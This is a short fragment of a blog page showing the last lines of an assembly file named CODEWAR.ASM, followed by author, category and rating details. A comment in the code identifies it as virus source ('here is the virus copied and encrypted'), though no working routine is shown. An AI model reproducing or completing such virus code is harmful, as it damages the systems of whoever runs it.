; here is the virus copied and encrypted
Buffer equ $
;----------------------------------------------------------------------------
CODE ENDS
END Sample
; CODEWAR.ASM
Sumber

- Judul : codeware.asm
- Penulis : Rizaldy Eka Jaya
- Kategori : Dear Materi
-
Rating : 100% based on 10 ratings. 5 user reviews.
Item Reviewed: codeware.asm
9 out of 10 based on 10 ratings. 9 user reviews.